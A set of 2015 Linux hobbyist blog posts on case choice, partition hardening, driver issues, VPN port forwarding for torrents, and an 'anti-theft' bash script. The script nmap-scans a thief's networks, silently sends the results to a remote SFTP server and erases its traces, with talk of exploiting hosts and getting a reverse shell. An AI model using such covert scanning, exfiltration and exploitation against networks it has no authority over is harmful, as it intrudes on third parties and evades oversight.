Keeping things cool isn't the only characteristic to look for in a case. One should also look for a heavy duty, big metal box. The metal encasing acts as a barrier to everything around it, keeping static electricity away from your fragile hardware. There's probably some conspiracy with the computer manufactures to use plastic housing in order to wear the machine out faster so you buy a new one. In retrospect, I've had a few laptops with mostly plastic exteriors, and those are ones that always have something die after 3 or 4 years for no reason, most notable, the LCD display and hard disc. Also, it's great to have a hole to put a padlock through so that you can lock your computer. Remember, anyone with physical access to your machine can reset the bios and bypass many of the security restrictions you may have in place. But, it's a lot harder to get away with when you have  the case locked. Yes, this is something that you should be worried about in this day and age. It also prevents theft and tampering. To summarize, you want a big metal box not a half metal, half plastic, static attracting piece of junk.

Finally, it's a good idea to buy a case that has lots of room to work with on the inside. It's no good having things cramped. It impedes air flow, makes maintenance more of a pain, and puts limitations on the types of upgrades you can perform. For instance, you may want to put an after-market heat sink on your CPU, which may require more room because good heat-sinks can be big. BTW, if you do buy a nice air cooling heat-sink, I'd recommend looking for something that allows you to blow the air in any direction you want. Sometimes you might want to shoot it out the top fan, sometimes the side fan, and if you don't have a top or side fan, you will want to point it so it all blows out the back fan.

In my case (eh ha), i will probably end up painting some trippy shit on my black steel case, to liven it up a little. I'll also probably get some LED fans, because.. why not? As long as their still good quality fans it doesn't matter. That way I'd have colored light dancing through the fan grills, which would look pretty cool. Which brings me to my last point-- you can always modify your case, if you'd like. For example, if I cut out two big holes on the top of my aluminum Cooler Master, than I could add two big powerful exhaust fans, which would dramatically help the airflow situation. Unfortunately my camera broke recently, and I need to find a USB to Compact Flash card adapter (if they even make those anymore, it's an old Canon), so I don't have any pictures for you right now.

Buy a good case, just in case. One day you may find yourself in a place, where you wish you'd bought a better case...

Monday, August 10, 2015

Building a Badass Tower Part II : On Second Thought...

It turns out that open source Nvidia drivers are still actually not stable enough to rely on, or at least for certain GPU's. Although my card runs much cooler with the noveau driver, I started getting those random freezes again. With disappointment, I had to revert back to the proprietary Nvidia drivers. However, this time I used the xorg edgers repository, which seems to be, at least a little more stable.

On another disappointing note, I've been reminded of why I hate AMD processors again... Lately, I've been having this strange problem with my USB 3 ports. Sometimes, for no logical reason that I can find, the USB 3 controller just stops working. When that happens, sometimes it also crashes the entire system with it, and other times not. The only way I know to fix it is to shut down the system, turn it off, unplug everything, press the power button long enough to discharge the capacitors, and than reboot. After doing all of that, my USB 3 ports magically work again.

I am sure that there is a way to fix these problems, but honestly I am tired of trying to do so. This is why I prefer Intel chipsets: because they just work, no matter what. That is the definition of stability in my book. So whenever I burn out or outgrow this motherboard, I will most certainty purchase an Intel chipset next time.

In the meantime, if anyone else running an AMD 3+ board has experienced these issues and could shed some light here and tell me what to do to fix this USB 3 port problem, that'd be swell. Other than that, I am really enjoying this system. The computing power is beyond awesome, there's just a couple annoying glitches I need to work out.

Wednesday, August 5, 2015

Building a Badass Tower

Discs & Partitioning

During my quest to build an impenetrable, powerful fortress, I have discovered that one of the most effective ways to thwart malicious software from taking hold of a Linux machine is to simply place certain directories on separate partitions. This gives you the ability to mount them with certain options not available when everything is lumped together inside one partition. The example that comes to mind first is mounting /tmp with 'noexec', 'nosuid', and 'nodev'. Because /tmp always has world read, write, and exec permissions, it's the perfect place to drop, compile, or otherwise prepare malicious software. This is not only important on servers, but also development machines, where compilers are often present.

If I were to ever create my own distribution, the installer would by default place /tmp on a separate partition with at least the 'nodev' and 'nosuid' options. Although I recommend mounting /tmp with 'noexec' as well, it can complicate things a little when you need install or update software. However, it's pretty easy to quickly remount a partition with different options:

mount -o remount,exec /tmp

Other directories that ought to be mounted separately include /var/log, /usr/local, and /home.  This partitioning scheme is reasonable for a multi purpose desktop system that may also run some type of server:

/               ext4    errors=remount-ro                                        0       1
/boot           ext4    defaults,noatime,nodev,nosuid,noexec    0       2
/home           ext4    defaults,nodev,nosuid                              0       2
/opt            ext4    defaults                                                        0       2
/srv            ext4    noatime,noexec,nodev                                 0       2
/tmp            ext4   noatime,nodev,nosuid,noexec                     0       2
/usr            ext4    defaults,nodev                                              0       2
/usr/local      ext4    defaults,nodev                                           0       2
/var            ext4    defaults,nodev,nosuid                                  0       2
/var/log        ext4    defaults,nodev,nosuid,noexec                                0       2
/var/log/audit   ext4    defaults,nodev,nosuid,noexec                                0       2
/dev/mapper/cryptswap1 none swap sw                                  0       0


This may be overkill, but I really like the flexibility that this scheme gives me. I like to at least put /var/log, /srv, /opt, and /usr/local in their own partitions. You can also mount /usr and /usr/local read-only, but you'd have to remount them as rw when you performed updates or installed software. However, doing so does harden a system quite a bit, and thus may be worth the extra hassle.

One thing to keep in mind is that it's a pain to fix something from recovery mode with a setup like this. It may be a good idea to keep a copy of busybox somewhere else on the filesystem in case something stupid happens. Usually you can just mount all of your partitions and than do what you need to do from recovery though, so I dont' think its much to worry about. However,  /etc should not have it's own partition, because if anything breaks and you need to change settings from recovery and can't mount /etc, than good luck to you.

If you have multiple hard discs you can spread the file system across the disks for a noticeable performance increase. Even with SSD's, the disc is often the performance bottleneck. Many factors seem to affect SATA speeds, including what cable you use to what type of disk you have. I currently have 4 hard drives in my tower, and it's awesome. Naturally, the main system runs of an SSD, because it's fastest. Than I have a 2 TB external disc hooked up to one of my USB3 ports. I use that for storage. I run VM's off another separate, dedicated disc, which nearly eliminates the performance reduction from the VM's on the rest of the system.

CPU's, GPU's, and BIOS: Fear Not the Microcode

I am an intel type of guy, and I've always hated AMD chipsets. My experience with AMD (which may have been more NVIDIA's fault, as the two often come together) and Linux has always been one of severe frustration. When you install Debian, for example, which does not come with any proprietary drivers out of the box, everything runs beautifully without any tweaking needed on an intel system. That's thanks to Intel working with the open source community over the last ten or twenty years.

It seemed that whenever I did an install on an AMD system, the experience was poor, and many 3rd party drivers, (cough, NVIDIA, I am looking at you right now!) were needed. For whatever reason, AMD systems often come with NVIDIA graphics cards. Intel often has graphics support integrated into their processors, so everything just works the way it is. The tradeoff is that you lose some of your performance because some of your RAM is reserved for video memory.

On desktop systems, you're probably going to want a video card, mainly because a) you have the room for it, and b) a GPU can seriously improve your user experience. Honestly, I don't have much experience with ATI or Radeon GPU's, but it seems people have less of a hard time getting those working than they do with NVIDIA GPU's on Linux systems. I do, however, have enough experience messing around with NVIDIA cards to offer some advice. First of all, try (hard) to avoid using the proprietary NVIDIA drivers! They seriously suck, like a lot. Sometimes it seems as though you don't have a choice in the matter, but before you resign yourself to such awfulness, try these things:

First, update your BIOS. Seriously, do it, especially on AMD systems, you will notice a big increase in stability. My theory is that Intel riggourously tests their shit before marketing it, which is why it's so stable from day one till death. AMD, either because they're always in a race with Intel, or maybe because of they don't work closely with the open source community like Intel does, seems to release processors before they're ready to do so, and than fix the problems with microcode updates. That's my theory, anyway. Because Linux distros don't always install the microcode for you, you're often left with damaged goods after installation. So, install the amd-microcode package, reboot, and than reevaluate your opinion of AMD's stability. I gaurentee you will be pleasantly surprised.

After installing the microcode & updating your BIOS, if you have an NVIDIA chip that is running NVIDIA drivers because it was acting up (my system would just randomly freeze when using the open source Noveau) try to get rid of all the NVIDIA crap, and see how your system performs. Just do ...

apt-get purge nvidia*

And than reboot. Hopefully at this point your system will be running stable and you'll be pleasantly surprised. If so, now install the mesa packages, which compliment the Noveau drivers quite nicely. After I did all of this, I had no more problems with system instability or video cards! My GPU is running at about 58 degrees Celsius now, as opposed to over 70 Celsius on the proprietary driver!

Now you can think about overclocking your CPU. Mine is factory clocked at 3.6 GHz (quad core), and I was able to overclock it to 4.7 GHz without any stability issues, or after-market heat sink! That is one hell of an improvement, in my opinion. However, once my thermal paste arrives in the mail, I am going to install a badass Zalman CPU fan and try to see if I can hit 6 GHz. Currently, my CPU never gets hotter than 45 Celsious, and idles around 10 or  15 (according to lm-sensors anyway). That is probably because my Cooler Master case is very well designed, and has excellent air flow.

More to come on building a badass tower next time. Peace. 

Sunday, August 2, 2015

Troubleshooting Transmission Speeds

Who doesn't use bittorent these days? I asked someone (who shall remain anonymous) that just graduated high school last June "So, does everyone in your generation torrent everything these days..?" To which he replied, "Yeah, literally, everyone." That's not too surprising, but what was somewhat surprising is that these kids don't seem to understand (or maybe just don't care) about the legality issues of digital piracy, but I'll save that for another post. I should add that bittorent has more legitimate uses than illegal, and the protocol gets a lot of unfair criticism. Without admitting anything, I will say that if I were to use bittorrent for piracy, I would at least use a proxy of some sort.

VPN's are very useful for a variety of purposes, such as creating a secure tunnel from point A to point B. In this case, point A is the oppressive geopolitical region you live in, and point B is a more enlightened country on the other side of the world. VPN's are also convenient ways of obtaining a secure connection over an insecure access point. Everyone should always be using VPN's over public wifi, for example. If you're going to bother to set this up, use openvpn.

Typically, bittorent clients have no problem finding their way around firewalls, and are generally a very effective means of quickly transferring data from one place to another. However, I've found that in cases where there is notable latency between your client and public facing interface, (like when connected to a VPN across the Atlantic) the client will struggle keeping the peer to peer connections open. What seems to be happening is a connection is initiated, established, and than dropped seconds later. Than the client (in this case, Transmission) tries to download from the next peer in the torrent swarm. The process repeats itself, and the torrent takes forever to download.

Thus I began troubleshooting this problem to see what I could do about latency causing dropped connections. I think I've figured it out. First, you ought to forward a port from your VPN server to your box. Create a client connect script, or manually edit your firewall script and add something like this:

## Port Forwarding From Server Public IP to a VPN Client ##
fwd_EN="false" # Change to 'true' to enable
ext_if="eth0" # public interface
int_if="tun0" # vpn interface
int_ip="10.9.0.6" # vpn client to forward to
int_PRT="51413" # port to forward


if [[ $fwd_EN == "true" ]]; then

  echo Warning: Port Forwarding enabled

  $IPT -t nat -A PREROUTING -p tcp -i $ext_if --dport $int_PRT -j DNAT --to-dest $int_ip:$int_PRT
  $IPT -A FORWARD -p tcp -i $ext_if -o $int_if -d $int_ip --dport $int_PRT -m state --state NEW -j ACCEPT


$IPT -t nat -A PREROUTING -p udp -i $ext_if --dport $int_PRT -j DNAT --to-dest $int_ip:$int_PRT
 $IPT -A FORWARD -p udp -i $ext_if -o $int_if -d $int_ip --dport $int_PRT -m state --state NEW -j ACCEPT
  $IPT -A FORWARD -i $ext_if -o $int_if -d $int_ip -m state --state ESTABLISHED,RELATED -j ACCEPT
  $IPT -A FORWARD -i $int_if -s $int_ip -o $ext_if -m state --state ESTABLISHED,RELATED -j ACCEPT

else
  echo Info: Port Forwarding Disabled
fi


Next, you need to open the port (example 51413) on your local box. Something like this:

iptables -A INPUT -i tun0 --dport 51413 -j ACCEPT

That alone will greatly improve speeds, and is usually enough. To make sure that it worked correctly, try testing the connection with netcat, and see if you can send yourself a message from another host on the internet to your VPN client by using the VPN server's public ip. If the connection establishes correctly and you can read the message, than port forwarding is working.

The last thing I had to do to get my torrent speeds up to par like they used to be was tweak some of the Transmission client's settings:

- Disable utp. For whatever reason, it was making my download speeds crawl.
- Disable PEX and DHT. Trackers don't like clients that use these features because it can mess up ratio tracking, or so I've heard, anyway.
- Uncheck the 'Use port forwarding from my router' box. Since we have a clear open port through the forward rules on the server, this is not necessary. Of course, if you are using port triggering, than keep this box checked.

After I did all of that, I was getting around 3MB/s download speeds through the VPN server again. Not bad for an encrypted tunnel that's 2000 miles long!

Saturday, July 25, 2015

Making use of Grep, Cut & Sed -- An Anti-Theft Network Recon Script

After watching this video (which, by the way, is hilarious and worth checking out), I decided that I needed to write some kind of anti-theft bash script for my computers. Why bash? No other reason except it's one langauge that I'm confident enough speaking, and like that video, it too, is awesome. The basic scenario that I'd like to prepare for goes something like this:

Your computer gets stolen, and you really want it back. While you know that the computer is running an ssh server, and is listening on 0.0.0.0 for connections, you don't know what it's IP address will be whenever it gets plugged in to the WWW, or what kind of network topology you will have to hack through in order to connect to it. Of course, this logic assumes that the thief is not smart enough to wipe the system before putting it online. It also assumes that he does not have your sudo password, and perhaps even that you have the guest network account enabled, and/or your system boots into single user mode, as to lure the thief into testing out 'his' new computer. None of these assumptions are ideal, but perhaps if the computer that gets stolen exists in a shared computing environment where those conditions must be met, than this script could be helpful.

It's also worth noting that a few things have changed the days when that hacker in the video linked above had his box stolen, most importantly that 99% of all devices connected to the internet these days are behind some kind of firewall. So, there are a lot of variables to consider here...
In any case, let's assume all those conditions have been met, and you are sitting at home pulling you hair out, praying your computer's thief is a total idiot, and waiting for your beloved to phone_HOME()...

So, without spending too much time preparing for a very unlikely scenario, what information would you need in order to get a shell on your box and begin pwning the thief? First and foremost, you need an IP address. Sounds simple enough, but often times computers are not aware of what their public IP address is because they live on a LAN that does NAT to a local IP address. To solve this problem, we need a webserver that uses php to return the visitors IP address to an html page. Than your script can grab that IP with wget or curl, and send it back to you, the owner. This does the trick:

<?PHP
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}

$user_ip = getUserIP();
echo $user_ip; // Output IP address
?>

This bit of php does nothing other than output the visiting client's IP address to the webpage in plain text, which is exactly what we need, no more and no less. I spun up a webserver and gave it the domain name ipreturn.tk, feel free to use it if you wish.

$ curl ipreturn.tk
 1.2.3.4

Perfect. Now that we've got the public facing IP of our perpetrators internet connection, perhaps it would be helpful to gather some more information about that host. This is where my all time favorite tool, Nmap, comes in to play:

#!/bin/bash

pubIP=$(curl ipreturn.tk)

pi_RESULTS=$(nmap -sV -A ${pubIP})
echo ${pi_RESULTS}


Parameter expansion is good stuff! Running this script will produce something like this:

Nmap scan report for 1.2.3.4
Host is up (0.063s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  dnsmasq 2.43rc3
22/tcp open  telnet    an old one


So now you have a little bit more information about your antagonist's internet connection. In this hypothetical example, the assailant has is running some kind of old telnet service, which should not be very difficult to exploit. But, wouldn't it be useful if we knew more about what lies on the other side of the network? To do that, first we need to find a way to grab the IP address from the output of ifconfig and either figure out the netmask as well, or just turn it into a a wildcard address and let nmap handle the rest. Originally, I tried something like this:

WlocIP=$(/sbin/ifconfig wlan0 | grep Mask | cut -d ':' -f2 | cut -d " " -f1)
ElocIP=$(/sbin/ifconfig eth0 | grep Mask | cut -d ':' -f2 | cut -d " " -f1)
ElocSN=$(echo ${ElocIP} | cut -d "." -f -3 | sed 's/$/.*/')
WlocSN=$(echo ${WlocIP} | cut -d "." -f -3 | sed 's/$/.*/')



function wifi_INFO(){
if [[ ${WlocIP} != "" ]]; then

    echo "<h3> Nmap results for wifi IP </h3>"
    echo "<pre>"
    nmap -sV -F ${WlocSN}
    echo "</pre>"
   
else
    echo "Wireless not available."
fi

}

function eth_INFO()}{
if [[ ${ElocIP} != "" ]]; then

    echo "<h3> Nmap results for wifi IP </h3>"
    echo "<pre>"
    nmap -sV -F ${WlocSN}
    echo "</pre>"
   
else
    echo "Ethernet not available."
fi

}

But, there a couple problems with that approach. First of all, it's unlikely that the thief will be connected to both wireless and ethernet at the same time, so that will throw some sort of error. We also can't be sure that the name of the interface will be 'wlan0' or 'eth0', what is he is using his own wireless card or something? To get around that, we need to figure out exactly which NIC devices are online, and than grab the IP's and subnet's from there. For this, we need the help of for-loop magic:

INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)


intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done) 


echo ${sn_RESULTS}
192.168.1.*
10.0.0.*

This is much better. First, it grabs a list of all of the network interfaces that are up on the system (excluding the localhost), and stores it as a variable. Than it feeds that variable into the intIPS line, which utilizes some more grep & sed magic to print a list of each interface IP address. Finally, I had figure out a way to turn each IP address into a wildcard mask to feed to nmap (for example, turn 192.168.1.1 into 192.168.1.*). To do that, I had to study the sed manual for a while to figure out how to remove specific unknown characters from a regular expression and than replace them with something else:

for i in ${intIPS};
do echo $i | cut -d "." -f -3 | sed 's/$/.*/' 
done 

And wala, it works! Finally, we feed the list of subnets to scan to nmap, which gives us a lot of useful information about our nemisis's network enviroment:

Starting Nmap ( http://nmap.org )
Nmap scan report for router (10.0.0.1)
Host is up (0.063s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  dnsmasq 2.73rc4
80/tcp open  http    LuCI Lua http config


Starting Nmap ( http://nmap.org )
Nmap scan report for yourcomputer (10.0.0.101)
All ports on 10.0.0.101 are filtered (cause your smart)
Starting Nmap ( http://nmap.org )
Nmap scan report for felix (10.0.0.100)
(The 1640 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        WU-FTPD wu-2.6.1-20
22/tcp   open  ssh        OpenSSH 3.1p1 (protocol 1.99)
53/tcp   open  domain     ISC BIND 9.2.1
79/tcp   open  finger     Linux fingerd
111/tcp  open  rpcbind    2 (rpc #100000)
443/tcp  open  ssl/http   Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
515/tcp  open  printer
631/tcp  open  ipp        CUPS 1.1
953/tcp  open  rndc?
5000/tcp open  ssl/ftp    WU-FTPD wu-2.6.1-20
5001/tcp open  ssl/ssh    OpenSSH 3.1p1 (protocol 1.99)
5002/tcp open  ssl/domain ISC BIND 9.2.1
5003/tcp open  ssl/finger Linux fingerd
6000/tcp open  X11        (access denied)
8000/tcp open  http-proxy Junkbuster webproxy
8080/tcp open  http       Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
8081/tcp open  http       Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20

Nmap finished: 1 IP address (1 host up) scanned in 42.494 seconds


In this case, the theif has at least one on his network that appears
to be very vulnerable (I borrowed this from nmap.org)
That will come in useful, but now we need a way to send this
information back home. This should also happen silently in the
background, and not leave any leftover files when it's done.
Originally I thought it may be a good idea to send all the gathered
information back home via email, but than I decided against that
because email is very insecure. It's possible to encrypt the message
with GPG before emailing it, but that has it's own issues too, like
you probably don't want your GPG key's password cached in memory
permantly if you can help it. The solution I decicided on was to send
it over SFTP to a server running SFTP in a chrooted enviroment,
protected by an RSA key:

function write_page(){
cat << _EOF_
<html>
<head>
<title>$TITLE</title>
</head>
<body bgcolor="black" text="white">
<h1>$TITLE</h1>
<p>$RIGHT_NOW</p>
<p><b> Local Subnet Scan Results: </b></p>
<pre>
${sn_RESULTS}
${pi_RESULTS}
</pre>
</body>
</html>
_EOF_
}
function phone_HOME(){
cd $workDIR
if [[ ! -f $workDIR/batch ]];then
cat << 'EOF' >> $workDIR/batch
put netenv*.html
EOF
fi
sftp -b batch $sftpUSER@$sftpHOST:/$sftpDIR
}

I figured I may as well have the output be in html format, in case someone did want to use email instead of sftp. To erase evidence of this script, I added the clean_UP function, with will delete the files left in /tmp with secure-delete if it's available, and if not than revert to normal 'rm'. Of course, this should probably also either be ran with the script command, or redirected to /dev/null, as not to leave any telltale error messages in the syslogs, like this:

netrecon > /dev/null 2>&1

So, putting it all together, this is the final script:


#!/bin/bash
#####################################################
# Bash Network Reconnaissance Script * Version 2.0  #                            
# DarkerEgo's Bash Snippets, GPL 2015               #
#####################################################
workDIR="/tmp/netrecon"
sftpUSER="user"
sftpHOST="remoteserver"
sftpDIR="some/directory"
OUTPUT="netenv.$(hostname).$(date +'%d-%m-%y').html"
TITLE="Bash Network Reconnaissance Results"
RIGHT_NOW=$(date +"%x %r %Z")
pubIP=$(curl ipreturn.tk)
#
INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)
intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done)
pi_RESULTS=(nmap -sV -A ${pubIP})
#
function prep_VARS(){
if [[ ! -d $workDIR ]];then
mkdir $workDIR
fi
if [[ -f $workDIR/$OUTPUT ]];then
srm $workDIR/$OUTPUT || rm $workDIR/$OUTPUT
fi
touch $workDIR/$OUTPUT
}
function write_page(){
cat << _EOF_
<html>
<head>
<title>$TITLE</title>
</head>
<body bgcolor="black" text="white">
<h1>$TITLE</h1>
<p>$RIGHT_NOW</p>
<p><b> Local Subnet Scan Results: </b></p>
<pre>
${sn_RESULTS}
${pi_RESULTS}
</pre>
</body>
</html>
_EOF_
}
function phone_HOME(){
cd $workDIR
if [[ ! -f $workDIR/batch ]];then
cat << 'EOF' >> $workDIR/batch
put netenv*.html
EOF
fi
sftp -b batch $sftpUSER@$sftpHOST:/$sftpDIR
}
function clean_UP(){
srm $workDIR/$OUTPUT || rm $workDIR/$OUTPUT
srm $workDIR/batch || rm $workDIR/batch
rmdir $workDIR
}
prep_VARS
write_page > $OUTPUT
phone_HOME
clean_UP
exit


And that is as much effort as I am going to put into that! By the way, I uploaded this to github as well, in case you'd like to pull it from there and avoid all those problems that the nasty windows style formatting can cause.

Edit: It might also be a good idea to also add a function that would ssh into your server for a few minutes upon each run, and do some reverse port forwarding so that you'd have a window to grab a shell that way. Or perhaps make it so that if the ip address changes, than the script would wait until the computer is idle for a few minutes, and than connect to your server over ssh, reverse forwarding back to your ssh port. Maybe I'll look into that and figure it out.

That's all for today.